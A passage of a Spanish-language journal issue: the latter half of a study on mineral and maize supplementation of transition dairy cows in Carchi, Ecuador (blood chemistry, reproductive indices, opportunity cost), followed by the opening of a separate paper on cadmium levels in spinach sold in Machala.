A las vacas del grupo tratado se le aplicó por vía parenteral 20 mL de Kirofosfan (Kirovet SA, Colombia), que contiene Toldimfos Sódico 200 mg, Sulfato de Cinc 1,1 mg, Selenito de Sodio 0,33 mg, Ácido Nicotínico 5 mg, Yoduro de potasio 20 mg, Sulfato de Manganeso 1 mg, y 40 mg de Cobrexilin (Brouwer, Argentina) que contiene Glicinato de Cobre 10 mg.; a los 30 Días antes del parto (DAP) al parto y a los 30 días posparto (DPP).

Tabla 2. Consumo y composición bromatológica de los alimentados ofertados a los animales en estudio.

Alimento	CMS (kg)	MS (%)	EM	PB	Ca	P	Cu	Zn
			(MJ kg MS ⁻¹)	(%)	%		(mg kg MS ⁻¹)	
<i>Zea mays</i>	2,00	87,00	13,35	8,1	0,30	0,29	2,05	23,30
<i>Lolium perenne</i>	4,77	14,10	11,51	21,35	0,27	0,59	5,00	10,00
<i>Pennisetum clandestinum</i>	2,12	14,00	8,49	20,37	0,26	0,35	13,90	59,50
<i>Holcus lanatus</i>	0,53	15,80	8,91	17,00	0,42	0,59	3,70	21,70
<i>Trifolium repens</i>	0,42	13,40	9,24	28,00	1,25	0,52	8,80	31,00
<i>Plantago sativa</i>	2,75	10,60	9,41	23,80	1,16	0,44	12,4	21,00
CALFOSAL	0,150	98,00	-----	-----	12,00	6,00	2,90	1,60

Leyenda: CMS: Consumo de Materia Seca. MS: Materia Seca. EM: Energía Metabolizable. PB: Proteína Bruta.

Se determinaron los indicadores hematoquímicos en un equipo Star Fax 3300 (Aznar Diagnóstica, USA), utilizando kits comerciales, según los procedimientos de fabricante (Tabla 3). Todos los análisis se realizaron en el laboratorio de Diagnóstico, Clínica Veterinaria Carlos Martínez Hoyos, Universidad de Nariño, Colombia.

Tabla 3. Indicadores hematoquímicos evaluados

Perfil	Variables	Método
Mineral	Ca, Mg, Cu, Zn	EEA (Miles <i>et al.</i> , 2001)
	Fósforo	Fosfomolibdato. Ultravioleta (UV)
Hemoquímico	Proteínas totales	Biuret. Colorimétrico
	Albumina	Bromocresol green. Colorimétrico
	Globulinas	Diferencia Proteínas Totales-Albúmina
	Colesterol	CHOD-POD. Enzimático Colorimétrico
	N ₂ ureico en sangre (BUN)	Ureasa-GLDH. Cinético Ultravioleta (UV)
	Triglicéridos	GPO-POD. Enzimático Colorimétrico
	β-hidroxibutirato (B-OH)	RANBUT D-3. Cinético enzimático

La condición corporal (CC) se estimó mediante el examen físico de los animales que incluyó la inspección y palpación, clasificándola en la escala de 1-5 puntos y divisiones de 0,25 entre ellos según la metodología propuesta por Parker (1989).

En los Indicadores reproductivos, se determinó los intervalos parto-primer servicio (IPPS), intervalo parto-concepción (IPC), intervalo parto-parto (IPP), el índice de natalidad (IN), porcentaje de gestaciones al primer servicio, los servicios por gestación (S/G) e intervalos interestrales (IIE); a partir de los registros individuales, según las metodologías descritas por Brito *et al.* (2010).

Procedimientos y análisis estadísticos

Se compararon los indicadores bioquímicos y reproductivos entre los grupos control y los tratados mediante prueba de t-Student para muestras independientes. En estos procesamientos se utilizó el paquete estadístico Statgraphics Centurion Ver. XV.II (Statistical Graphic Corp., USA 2006).

3. RESULTADOS Y DISCUSIÓN

La tabla 4 y la tabla 5 muestran el balance de nutrientes, del grupo tratado y de control respectivamente, a los 35 DPP, donde la incorporación del maíz y la suplementación de sal mineral por vía oral satisface los nutrimentos de energía metabolizable y Ca, respectivamente, sin embargo, el grupo control mantiene el desbalance energético.

Tabla 4. Balance de nutrientes del grupo tratado a los 35 DPP.

Alimento	EM (MJ día ⁻¹)	PC g día ⁻¹	Ca	P	Cu mg día ⁻¹	Zn
Total, Aporte	162,48	3 071,00	94,11	83,14	113,00	421,01
Requerimiento	153,98	1 926,00	93,3	49,67	147,50	615,00
Diferencia	8,80	1 144,99	0,81	33,47	-34,455	-193,99

En ambos grupos los aportes totales de PC son superiores a los requerimientos de estos animales (Tabla 4 y Tabla 5) y exceden los requerimientos en un 19,37 % en el grupo tratado y en un 21.38 % en el control con respecto al consumo estimado de MS; 15,85 y 14,05 kg MS⁻¹, respectivamente. El exceso de PC en los animales en lactación entre el 20 al 23 % afecta negativamente el IPC, disminuye el pH en el útero e incrementa la concentración de urea y P₄ en sangre en vacas en lactancia temprana (NRC 2001 y Butler 2003, 2005).

Tabla 5. Balance de nutrientes del grupo control a los 35 DPP.

Alimento	EM (MJ día ⁻¹)	PC g día ⁻¹	Ca	P	Cu mg día ⁻¹	Zn
Total Aporte	140,92	3 005,17	87,80	79,40	114,62	397,11
Requerimiento	145,78	1 789,00	87,09	47,01	140,00	561,66
Diferencia	-4,86	1 216,17	0,71	32,39	-25,37	-164,55

Las concentraciones en suero sanguíneo de Ca y Mg no difirieron en ningún momento ($p > 0,05$) en las vacas suplementadas con respecto a los controles durante el período de transición gestación-lactancia (Tabla 6).

Tabla 6. Concentración de minerales en suero sanguíneo en el Período de transición gestación-lactancia.

Variables	Momento	Grupos		±EE
		Control □	Tratado □	
	30 DAP	3,68	3,43	0,20

	30 DPP	2,86	2,99	0,22
	60 DPP	3,61	3,80	0,16
	30 DAP	1,75	1,79	0,08
	30 DPP	1,68	2,18	0,11**
P (mmol/L)	60 DPP	1,69	2,16	0,08**
	30 DAP	1,25	1,20	0,06
	30 DPP	1,42	1,44	0,07
Mg (mmol/L)	60 DPP	1,36	1,53	0,10
	30 DAP	11,76	11,65	0,14
	30 DPP	11,00	12,07	0,21**
Cu (μmol/L)	60 DPP	11,16	12,62	1,61***
	30 DAP	12,37	12,16	0,28
	30 DPP	11,98	13,50	0,20***
Zn (μmol/L)	60 DPP	12,41	14,33	0,21***

* $P < 0,05$, *** $P < 0,001$ en filas, indican diferencias significativas entre los volares expuestos en cada una de ellas (t-Student). DAP: Días antes del parto. DPP: Días posteriores al parto.

El Ca para los dos grupos siempre estuvo por encima del LC de deficiencia, lo que está en concordancia con el aporte de este mineral en los alimentos suministrados, que cubrió sus requerimientos; además, la vaca lechera realiza una fuerte acción en la homeostasis del Ca con el objetivo de impedir su pérdida, sobre todo en animales muy productivos o durante el parto (NRC, 2001).

En ambos grupos las concentraciones de Ca en sangre, disminuyó a los 30 días de lactancia con respecto a la evaluación realizada a los 30 DAP; lo cual está influenciado por el alto rendimiento en producción láctea y el inicio de la actividad productiva; no obstante, como se cubren los requerimientos de Ca, la vaca puede soportar la actividad metabólica durante el período evaluado.

La suplementación incrementó ($p < 0,01$) las concentraciones de P en sangre a los 30 y 60 DPP de 1,68 a 2,18 y 1,69 a 2,16 mmol/L, respectivamente, (Tabla 6) lo que debe haber amortiguado las pérdidas de este macroelemento por su uso en la producción láctea y favorecido la actividad reproductiva posparto. Es por ello que es casi obligatorio suplementar minerales de buena calidad por diferentes vías, incluidos los procedimientos mejoradores de la fertilidad del suelo (McDowell y Arthington, 2005).

En otros estudios la suplementación de P en la dieta y con consumo a voluntad incrementó las concentraciones sanguíneas de P y mejoró el desempeño reproductivo de las vacas (Fajardo, 2009; Fajardo *et al.*, 2013).

Las estrategias de nutrición con microelementos para vacas secas pueden determinar, en última instancia el rendimiento durante la próxima lactación. El Zn, Mn, Cu, Co, Se, I y Cr, juegan un papel clave en el consumo de MS, metabolismo energético, salud de la ubre y pezuñas, reproducción y función inmunológica (Yatoo *et al.*, 2013).

La cupremia y la cinquemia ascienden por encima del LC y las concentraciones de Cu en suero sanguíneo son superiores ($p < 0,05$) con respecto al grupo control a los 30 y 60 DPP; en cambio, las de Zn incrementan ($p < 0,01$) en iguales momentos.

Esos resultados corroboran los estudios realizados por García *et al.* (2012) y Noval *et al.* (2016) quienes publican incrementos de la cupremia a partir de los cinco días posteriores al tratamiento, mientras que la cinquemia alcanzó las máximas concentraciones a los 15 días y las concentraciones en sangre de ambos minerales se hacen deficientes a los 60 días.

Los aportes excesivos de PC y Mg originan en el rumen la formación de Sulfato de Magnesio, que disminuye la absorción del P en el intestino delgado (Djokovic *et al.*, 2014) y sulfuro de Hierro, que reduce la absorción del Cu a nivel ruminal (Arthington y Brown. 2005).

Estos aspectos indican que, aunque se suplemente P, Cu y Zn por vía oral existirán deficiencias de estos minerales o al menos, esta vía para la suplementación no será la más efectiva. Esto justifica la estrategia de suplementación oral y parenteral de minerales que se utilizó en esta investigación, que incrementó las concentraciones de P, Cu y Zn en suero sanguíneo (Tabla 6).

Estos resultados concuerdan con los obtenidos por García *et al.* (2012); Noval (2016) y García *et al.* (2017), quienes, con la suplementación de otras fuentes de minerales, distintos esquemas y por vía parenteral, obtuvieron resultados favorables en la eficiencia reproductiva y económica.

Los minerales inyectables evitan las interferencias y antagonismos en su absorción y metabolismo (García *et al.*, 2012); sin embargo, la suplementación oral es muy

importante para los microorganismos y la bioactividad del rumen (McDowell y Arthington, 2005; Djokovic *et al.*, 2014). La combinación de ambas vías para la suplementación de los minerales constituye uno de los aportes científicos y prácticos de esta investigación.

En la Tabla 7 se exponen las concentraciones de los indicadores del perfil energético y proteico de las vacas en estudio, nótese que en las vacas suplementadas disminuyeron ($p < 0,05$) las concentraciones de B-OH a los 30 DPP. La CC y las concentraciones sanguíneas de colesterol fueron superiores ($p < 0,05$) en las vacas suplementadas a los 30 y 60 DPP. También que en los animales suplementados incrementaron ($p < 0,05$) las PT.

Tabla 7. Niveles de los indicadores del perfil energético y proteico en las vacas en estudio durante el período de transición gestación-lactancia.

Variables	Momento	Grupos		±EE
		Control □	Tratado □	
B-OH (mmol/L)	30 DAP	0,51	0,47	0,04
	30 DPP	0,93	0,57	0,06**
	60 DPP	0,87	0,65	0,05
CC (U)	30 DAP	3,50	3,56	20,08
	30 DPP	2,61	2,93	0,08**
	60 DPP	3,21	3,50	0,07*
Colesterol	30 DAP	3,48	3,28	0,11
	30 DPP	2,72	3,02	0,11*
	60 DPP	3,42	3,80	0,08*
PT (g/L)	30 DAP	91,31	92,06	0,62
	30 DPP	83,75	85,93	2,58
	60 DPP	88,37	94,37	1,61*
BUN (mmol/L)	30 DAP	3,79	3,60	0,16
	30 DPP	4,94	4,31	0,20*
	60 DPP	4,04	3,70	0,21

* $P < 0,05$, ** $P < 0,01$ en filas, indican diferencias significativas entre los volares expuestos en cada una de ellas (t-Student). DAP: Días antes del parto. DPP: Días posteriores al parto.

La disminución del B-OH se debe a que en los animales suplementados con maíz existió menor movilización grasa para compensar el déficit de energía. La mejora en los indicadores del metabolismo energético puede deberse a la suplementación

con este cereal, que incrementó las reservas energéticas corporales y la CC a los 30 y 60 DPP.

Estos resultados contrastan con lo planteado por otros autores que indican que el pico de consumo de MS ocurre a las 10-14 semanas posparto pero el de lactancia ocurre a la octava semana y, por tanto, el BEN debe prolongarse más de 30 DPP (Álvarez *et al.*, 2015). La falta de correspondencia puede explicarse porque este experimento se realizó con vacas que tenían una CC $\geq$ de 3,5 y condiciones controladas de investigación, que incluyó una ración equilibrada y pastos de calidad, lo que les permite tener un BEN de menor duración.

La mejora del estado energético de los animales suplementados se puede deber al incremento de la cupremia y la cinquemia en los mismos. El Cu es co-factor de la enzima terminal de la cadena respiratoria, la citocromo-c-oxidasa (CCO), que cataliza la transferencia de cuatro electrones al O₂ para formar dos moléculas de agua y Adenosin Trifosfato (ATP), y participa en la obtención de energía (Gebhard *et al.*, 2001).

El Zn también está implicado en el metabolismo energético porque la secreción de piruvatocinasa en las células β del páncreas es dependiente de este microelemento. Esta enzima participa en la glucólisis y su actividad se encuentra limitada por la insulina, por lo cual se asume que existe un compromiso del metabolismo energético del animal durante la deficiencia de Zn (Tubek, 2007; Evans *et al.*, 2008).

En vacas suplementadas con 50 mg de Cu por vía parenteral, tres aplicaciones cada 60 días, incrementaron ($P < 0,05$) la CC (García *et al.*, 2007). La suplementación inyectable del Cu, solo o combinado con Zn y Mn incrementó ($P < 0,05$) los niveles séricos de Cu y Zn y la GMD en terneros (Noval *et al.*, 2012): Estos resultados corroboran la importancia de estos microelementos para mejorar el PV y la gmd, ambos relacionados con el metabolismo energético.

Los valores del colesterol son superiores ($p < 0,05$) a los 30 y 60 DPP (Tabla 7) lo cual se asocia a una mejor adaptación de los animales de ese grupo al BEN producto de la suplementación con maíz, la disminución de las concentraciones de B-OH y a los incrementos de la cinquemia. El Zn es necesario para la síntesis del colesterol,

que es a su vez necesario para la síntesis de los esteroides, E₂, P₄ y T₄ (Griffiths *et al.*, 2007), que favorecen la adecuada presentación de ciclos estrales (Small *et al.*, 2008).

Las concentraciones del BUN son superiores ($p < 0,05$) a los 30 DPP en el grupo control, lo que puede deberse a la utilización de las proteínas con fines energéticos en estos animales, donde hubo un déficit de energía metabolizable del 15 % y el BEN fue mayor (Yasoithai 2014). En cambio, las PT incrementaron en los animales suplementados a los 60 DPP, posiblemente porque disminuyó la magnitud del BEN y las acciones beneficiosas sobre el metabolismo proteico de los minerales, especialmente el Cu (García *et al.*, 2017).

Los principales indicadores reproductivos (Tabla 8), en el grupo control tuvieron un marcado deterioro de acuerdo a los parámetros de referencia del bovino lechero en condiciones óptimas de producción (Blanco, 2000; González-Stagnaro, 2002, Brito *et al.*, 2010), sin embargo, la suplementación energético mineral mejoró significativamente cada uno de los indicadores con respecto al control.

Tabla 8. Indicadores reproductivos de los grupos en estudio durante el período evaluado.

Indicadores	Grupos Control □	Tratado □	±EE
Intervalo parto-primer servicio (días)	126,93	99,43	5,67*
Intervalo parto-concepción (días)	181,31	138,62	9,49**
Intervalo parto-parto (días)	463,31	420,62	9,23**
Servicios por gestación (U)	2,43	1,93	0,17*
Gestaciones al primer servicio P (%)	0,4115 (41,15)	0,5881 (58,81)	0,17ns

* $P < 0,05$, ** $P < 0,001$ en filas, indican diferencias significativas entre los volares expuestos en cada una de ellas (t-Student), ns: No significativo. P: Proporción

Existen varios mecanismos durante el pre y posparto que afectan la fertilidad de la vaca lechera (Carvalho *et al.*, 2014), uno de los principales es el BEN, que afecta el crecimiento folicular y la producción de estradiol, posiblemente por la disminución de las concentraciones de insulina, IGF-1 y los pulsos de LH (Butler, 2003, 2005; LeBlanc, 2010). La magnitud de la pérdida de la CC posterior al parto incrementan los porcentajes de vacas que no ciclan al final del período de espera voluntaria (Santos *et al.*, 2009).

La disminución ($p < 0,05$) de los indicadores reproductivos en las vacas suplementadas se debe a que la suplementación incrementó las concentraciones de P, Cu y Zn, que cumplen importantes funciones en el comportamiento reproductivo de la vaca lechera. En Cuba la suplementación parenteral de Cu en el período de transición gestación-lactancia favoreció el comportamiento reproductivo (García *et al.*, 2012) y de este y la salud de la ubre (Figueredo, 2016).

El incremento de la cupremia y la cinquemia favorecen la producción de E_2 y P_4 por las células luteales y consecuentemente el desempeño reproductivo posparto. El Mn favorece la síntesis de colesterol y este de las hormonas mencionadas (Griffiths *et al.*, 2007).

También la suplementación energética de las vacas, utilizando el maíz, redujo el BEN y con ello la movilización de grasa y el B-OH; estas circunstancias provocaron el incremento de la CC y colesterol en las vacas suplementadas. El aumento del colesterol está asociado a mayor síntesis de E_2 y P_4 (Quintela *et al.*, 2008) y consecuentemente a un adecuado comportamiento reproductivo. La colesterolemia está correlacionada con la P_4 en por lo que el aumento de este metabolito lipídico, como consecuencia de la suplementación energético mineral favoreció el incremento las concentraciones de esta hormona y con ello el ambiente uterino, el reconocimiento materno de la gestación, la implantación del embrión y el desarrollo de la gestación en las vacas (Senger, 2003). Consecuentemente, las vacas suplementadas tuvieron mayor fertilidad tras la primera IA posparto y superior porcentaje de gestaciones al primer servicio.

Costo de oportunidad de la no aplicación de la suplementación estratégica

Para la evaluación económica se seleccionó el costo de oportunidad, ajustado al contexto de la investigación. Según Rojas (2006) y Cordovés (2014), los costos de oportunidad no deben ser considerados absolutos y si iguales a una segunda mejor oportunidad de beneficios no aprovechada, o sea, cuando la decisión de posibilidades de utilización de un bien A excluye la elección de uno mejor B, se puede considerar los beneficios no aprovechados derivados de B como costo de oportunidad.

Bajo el principio anterior se calculó el costo de oportunidad, para lo cual se tomó como base la reducción del IPC, a partir de los valores alcanzados en este indicador (Tabla 8) tanto en el grupo control como en el tratado con la suplementación energético-mineral.

Se consideró que cada día de vacía de una vaca significa una jornada de producción láctea que se pierde y según el promedio de la misma en los rebaños objeto de estudio constituye una pérdida potencial de 16,5 L vaca⁻¹ día⁻¹, que se comercializa en estos momentos a un valor promedio de \$ 0,50 USD, que representa una pérdida diaria de \$ 8,25 USD por concepto de leche.

Además, se redujo el IPC en 42,69 días, que significan dos celos potenciales para la IA, que con un porcentaje de gestación al primer servicio de 58,81 % representan 1,18 terneros dejados de producir; que, según el precio de venta, que es de \$ 25,00 USD serían \$ 29,50 USD, que constituyen una pérdida diaria de \$ 0,67 USD.

Considerando lo anterior se apreció que la no aplicación de la suplementación energética mineral incrementó las pérdidas totales por IPC por vaca de \$ 380,70 USD, lo que constituye el ingreso dejado de recibir (costo de oportunidad) por la diferencia del IPC y sirve de base para la toma de decisiones respecto a la aplicación del mismo (Tabla 9).

Tabla 9. Evaluación del costo de oportunidad de la suplementación energética mineral en las vacas.

Parámetro	Grupos		Diferencia
	Tratado	Control	
Total, de animales.	16	16	----
Promedio de días vacíos.	138,62	181,31	+42,69
Leche dejada de producir (L vaca ⁻¹) por	2 287,23	2991, 61	+ 704,38

Pérdidas por venta de la leche (\$ USD).	1 143,62	1495.80	+ 352,18
Pérdidas por las ventas de terneros (\$	92,88	121.48	+ 28,60
Pérdidas totales (\$ USD) por IPC.	1 236,50	1617,28	+ 380,78

4. CONCLUSIÓN

En conclusión, la suplementación energético mineral mejoró significativamente el perfil metabólico, y consecuentemente redujo 42,69 días del IPC; por este concepto tuvo un beneficio en los animales suplementados de \$ 380,78 USD por vaca dejada de suplementar.

REFERENCIAS

- Álvarez, J.L.; Hernández, R. y Blanco, G. S. 2015. Reproducción y producción de leche. Habana, Cuba: Ed. ACPA. pp. 13, 49-67. ISBN 979-959-307-099-7.
- Arthington, J.D. y Brown, W.F. (2005). Estimation of feeding value of four tropical forage species at two stages of maturity. *J. Anim. Sci.*, 83: 1726-1731.
- Bhat, M.S; Shaheen, M; Zaman, M y Muhee, A. 2011. Mineral Inter-relationship among Soil, forage and Dairy cattle in Kashmir. *India.Vet. World*, 4 (12):550-553
- Blanco, G.S. 2000. Solución de problemas reproductivos en la vaca. Facultad de Medicina Veterinaria UNAH: 1-28.
- Brito, R.; Blanco, G, S.; Calderón, R.; Preval, B.; Campo, E. 2010. Patología de la Reproducción Animal. 2da edición. Editorial “Félix Varela”. La Habana, Cuba. 1-41 pp.
- Butler, W. R. 2003. Energy balance relationships with follicular development, ovulation and fertility in postpartum dairy cows. *Livest. Prod. Sci.*, 83: 211–218.
- Butler, W.R. 2005. Inhibition of ovulation in the postpartum cow and the lactating sow. *Livest. Prod. Sci.*, 98: 5–12.
- Carvalho, P.D.; Souza, H.A.; Amundson, C.M.; Hackbart, M.J.; Fuenzalida, J.M.; Ayres, H.M.; Dresch, R.A.; Vieira, M.L.; Guenther, J.N.; Grummer, R.R.;

- Fricke, M.P.; Shaver, D.R. y Wiltbank, C. M. 2014. Relationships between fertility and postpartum changes in body condition and body weight in lactating dairy cows *J. Dairy Sci.*, 97:1–18.
- Cedeño-Quevedo, D.A.; Ceballos-Márquez, A.; Garzón, C.; Daza-Bolaños, C.A. 2011. Estudio Comparativo de Perfiles Metabólicos Minerales en Lecherías de dos regiones de Nariño. *Revista Orinoquia*, 15 (2): 160-168.
- Cordovés, D. y Bez, J. M. 2014. La extensión agraria como interfase de la gestión de la innovación. Disponible en <https://www.eae-publishing.com> [Consultado 20 enero 2016].
- Djokovic, R.D.; Kurcubic, V.S.; y Ilic, Z.Z. 2014. Blood serum levels of macro-and micronutrients in transition and full lactations cows. *Bulgarian Journal of Agricultural Science*, 20 (3): 715 – 720.
- Evans, J.R. y Henshaw, K. 2008. Antioxidant vitamin and mineral supplements for preventing age-related macular degeneration. *Cochrane Database of Systematic Reviews* (1). CD000253. ISSN 1469-493X.
- Fajardo, H. 2009. Suplementación mineral estratégica de hembras bovinas lecheras en pastoreo y su influencia en la reproducción en el Valle del Cauto. [Tesis de Doctorado]. Instituto de Ciencia Animal (ICA). San José de las Lajas. La Habana. Cuba. 56 pp.
- Fajardo, H.; Viamonte, I.M.; Rondón, G.; García-López, R.; Gutiérrez, O.; Sánchez, M.; Ruiz, T. y González, N. 2013. Hembras bovinas lecheras en pastoreo en el valle del Cauto. III. Influencia de la suplementación mineral experimental en indicadores reproductivos y sanguíneos de novillas y vacas. *Ciencia y Tecnología Ganadera*, 7 (1): p. 41-49.
- Figueredo, Yoelsis. 2016. Efecto de la suplementación parenteral con cobre en vacas Siboney de Cuba sobre su sistema inmunológico, la salud de la ubre y los indicadores reproductivos. [Tesis de Maestría]. Centro de Investigaciones para el Mejoramiento Animal en la Ganadería Tropical (CIMAGT). pp 36-54.
- Franco, W. 2016. Suelos Volcánicos y Riesgos y Oportunidades del Desarrollo Agrícola Sostenible en el Cantón Huaca del Carchi, Ecuador. Disponible en

- García, J.R. 2014. Present status, challenges and future perspectives of the Veterinary Clinical Pathology in Cuba: experiences with the Cuban cattle genotypes (Holstein x Zebu). 16th Biennial Congress of the International Society for Animal Clinical Pathology (ISACP). University of Copenhagen, Dinamarca. 25 - 29. Proceedings, pp 46 -47.
- García, J.R.; Cuesta, M.; Pedroso, R.; Rodríguez, J.; Gutiérrez, M.; Mollineda, A.; Figueredo, J.M. y Quiñones, R. 2007. Suplementación parenteral de cobre en vacas gestantes: Efecto sobre postparto y terneros. *Rev.Mvz. Córdoba*, 12 (2): 985-995.
- García, J.R.; Munyori, H.; Cuesta, M.; Quiñones, R.; Figueredo, J.M.; Noval, E. y Mollineda, A. 2012. Therapeutic efficacy and pharmacological safety of parenteral supplementation of different concentrations of copper in cows. *ArchivTierzucht*, 55 (1): 25-35.
- García, JR.; Noval-Artiles, E.; Pérez-Bello, A.; Hernández-Barreto, M. y Pérez-González, Y. 2017. Effects of copper parenteral supplementation on the weight gain in fattening bulls. *Rev. Mvz. Córdoba*, 22(2):5820-5827.
- Gebhard, S.; Ronimus, R.S. y Morgan, H.W. 2001. Inhibition of phosphofructokinases by copper (II). *FEMS Microbiol. Lett.*, 197: 105–109.
- González-Stagnaro, C. 2002. Pasos para lograr el diagnóstico y la solución del problema reproductivo a través de la evaluación de la eficiencia reproductiva. *Venezuela Bovina*, 53: 50-65.
- Griffiths, L.M.; Loeffler, S.H.; Socha, M.T.; Tomlinson, D.J. y Johnson, A.B. 2007. Effects of supplementing complexed zinc, manganese, copper and cobalt on lactation and reproductive performance of intensively grazed lactating dairy cattle on the South Island of New Zealand. *Anim. Feed Sci. Tech.*, 137: 69-83
- INAMHI. 2016. Instituto Nacional de Meteorología e Hidrografía. Datos meteorológicos de la estación meteorológica de Chalpatán, Carchi, Ecuador. Disponible en: [http:// www.inamhi.gob.ec](http://www.inamhi.gob.ec). (consultado 07/03/2017).

- Le Blanc, S. 2010. "Monitoring metabolic health of dairy cattle in the transition period". *J Reprod. Dev.*, 56 (Suppl): S29-35.
- McDowell, L.R. y Arthington. 2005. Minerales para rumiantes en pastoreo en regiones tropicales. Cuarta Edición. Universidad de La Florida. IFAS. E.E.U.U. 91p.
- Noval, E. 2016. Suplementación parenteral de Cu, Zn y Mn en vacas lecheras en período de transición en agroecosistemas carenciales en el sistema suelo-planta-animal. [Tesis de Doctorado]. Universidad Central "Marta Abreu" de las Villas. Santa Clara, Cuba. pp 42-65.
- Noval, E.; García-Díaz, J.R.; García-López, R. y Jimenez-Pérez, J. 2016. Efecto de diferentes dosis de un compuesto inyectable de Cu, Zn y Mn en parámetros bioprodutivos de la vaca lechera. *Cuban Journal of Agricultural Science*, 50 (2): 371-380.
- Noval, E.; García-Díaz, J.R.; García-López, R.; Quiñones-Ramos, R.; Mollineda-Trujillo, A. y Munyori-Nderitu, H. 2012. Evaluación del efecto de la suplementación parenteral de cobre y un complejo de cobre (Cu), zinc (Zn) y manganeso (Mn) sobre la hemoquímica y la ganancia de peso en terneros. *Rev electrón vet. REDVET*, 13 (1). Disponible URL en: <http://www.veterinaria.org/revistas/redvet/n101012.html>. [Consultado 20/06/2016].
- NRC (National Research Council). 2001. Nutrient Requirements of Dairy Cattle. (7th Rev. Ed.). Natl. Acad. Sci., Washington, D.C. 2001.
- NRCS. 2003. Keys to Soil Taxonomy. Ninth Edition. United States Department of Agriculture; Natural Resources Conservation Service. 332 p.
- Parker, R. 1989: Body condition scoring of Dairy Casttle. Factsheet AGNES. 410: 420 pp.
- Quintela, L.A.; Díaz, C.; Becerra, J.J.; Alonso, G.; Gracia, S. y Herradón, P.G. 2008. Papel del β Caroteno y la vitamina A en la reproducción en el ganado vacuno: revisión. *ITEA*, 104 (3): 399-410.

- Roche, J.R.; Macdonald, K.M.; Burke, C.R.; Lee JM, Berry, D.P. 2007. Associations among body condition score, body weight, and reproductive performance in seasonal-calving dairy cattle. *J. Dairy Sci.*, 90:376–391.
- Santos, J.E.; Rutigliano, H.M. y Sa Filho, M.F. 2009, "Risk factors for resumption of postpartum estrous cycles and embryonic survival in lactating dairy cows", *Animal Reproduction Science*, 110 (3-4): 207-221.
- Sartori, R. 2009. Factores nutricionales que afectan el desempeño en programas reproductivos en bovinos de carne y de leche. Octavo Simposio Internacional de Reproducción Animal del IRAC, 26, 27 y 28 de septiembre. 11: 1–5.
- Senger, P. 2003. Pathways to Pregnancy and Parturition. 2nd Edition. Current Conceptions, Inc. USA.pp 326-347.
- Statgraphis Centurion Ver. XV. II. 2006. Edición Multilingüe. StatPoint, Inc. Statistical Graphic Corp. Warrenton, Virginia.
- Tubek, S. 2007. Zinc supplementation or regulation of its homeostasis: advantages and threats. *Biol Trace Elem Res.*, 119(1):1-9.22
- Yasoithai, R. 2014. Importance of minerals on reproduction in dairy cattle. *International Journal of Science, Environment and Technology*, 16 (3): 2051 – 2057
- Yattoo, M.I.; Saxena, A.; Deepa P.M.; Habeab, B.P.; Devi, S.; Jatav, R.S. y Dimri, U. 2013. Role of Trace elements in animals: a review, *Veterinary World*, 6(12): 963-967.

BIOGRAFÍA DE AUTORES

Luis Rodrigo Balarezo Urresta, Facultad de Industrias Agropecuarias y Ciencias Ambientales Universidad Politécnica del Carchi. Calle Antisana y Av. Universitaria Tulcán, Carchi, Ecuador, Dirección Postal 040102, Fax 59362224079, E- mail. luis.balarezo@upec.edu.ec [Teléfono +593995728160](tel:+593995728160)

Juan Ramón García Díaz, Departamento de Medicina veterinaria y Zootecnia, Facultad de Ciencias Agropecuarias, Universidad Central “Marta Abreu” de Las

Villas. Carretera a Camajuaní Km. 5 ½. Santa Clara. CP 54830., Santa Clara, Villa Clara, Cuba. E-mail. juanramon@uclv.edu.cu. Teléfono: +53 53728068.

**DETERMINACIÓN DE LA CONCENTRACIÓN DE CADMIO EN
SPINACIA OLERACEA COMERCIALIZADA EN LA CIUDAD DE
MACHALA MEDIANTE ESPECTROSCOPIA DE ABSORCIÓN
ATÓMICA**

Donna Granja Rizzo, Glenda Pérez Cedillo,

Diana Serafín, Jaime Ordoñez, Marisela Segura

Universidad Técnica de Machala

dgranja_est@utmachala.edu.ec

RESUMEN

Se llevó a cabo una investigación en la ciudad de Machala para determinar la concentración de Cadmio en muestras de hojas de *Spinacia oleracea*. La recolección de la muestra fue dada en cinco mercados y supermercados en la ciudad en donde se tomó una muestra por punto con su respectivo duplicado. Las muestras fueron sometidas a una digestión ácida con ácido nítrico al 65%. La determinación del metal se llevó a cabo por medio de la técnica de espectroscopia de absorción atómica. Las concentraciones de cadmio en muestras de *Spinacia oleracea* presentaron una media de 0,184 mg/mL llegándose a encontrar valores que oscilan entre 0,10 a 0,26 mg/mL en donde el 50% de las muestras superaron el Nivel Máximo dispuesto por la OMS/FAO en el Codex Alimentarius 193-1995 de Cd: 0,2 mg/mL.

PALABRAS CLAVE: Cadmio, Metales pesados, Absorción atómica, *Spinacia oleracea*.

ABSTRACT

The investigation was carried out in the city of Machala to determine the concentration of cadmium in samples of *Spinacia oleracea* leaves. The harvest of the sample was given in five markets and supermarkets in the city. The samples were subjected to an acid digestion with 65% nitric acid. The determination of the metal was carried out by means of the atomic absorption spectroscopy technique. The concentration of cadmium in the samples of *Spinacia oleracea* has an average of 0,184 mg/mL and the values ranging from 0,10 to 0,26 mg/mL where 50% of the samples exceed the level Maximum desired by the WHO / FAO in the Codex Alimentarius 193-1995 of Cd: 0,2 mg/mL.

KEYWORDS: Cadmium, Heavy metals, Atomic absorption, *Spinacia oleracea*.

1. INTRODUCCIÓN

Una problemática alarmante a nivel mundial es la contaminación del ambiente con sustancias nocivas que afectan el estado óptimo de recursos como el agua, el aire y suelo, siendo esta una epidemia del siglo XXI (Reyes, Vergara, Torres, Díaz, & González, 2016).

La inoculación del planeta con sustancias nocivas como metales pesados ocasiona múltiples secuelas tóxicas (Quispe, 2016) por bioacumulación en contacto con la cadena trófica al no ser sustancias biocompatibles y biodegradables ocasionan la aparición de diferentes tipos de patologías para el hombre (Flores et al., 2013).

En Latinoamérica la existencia de cadmio (Cd) es consecuencia del aprovechamiento de recursos minerales como la minería y el petróleo, la electrónica, la fabricación de pinturas, la fumigación de plantaciones con diferentes fertilizantes (Pinzón, 2015), el incorrecto manejo de residuos como baterías y por dinamismo volcánico (García & Cruz, 2012) lo cual produce niveles elevados de Cd ocasionando un daño irreparable de recursos y salud en la población (Peláez-Peláez, Bustamante-Cano, & Gómez-López, 2016) siendo este un compuesto químico que no forma parte de la composición de los alimentos (Moreno, Fernández, Díaz, & Riold, 2004).

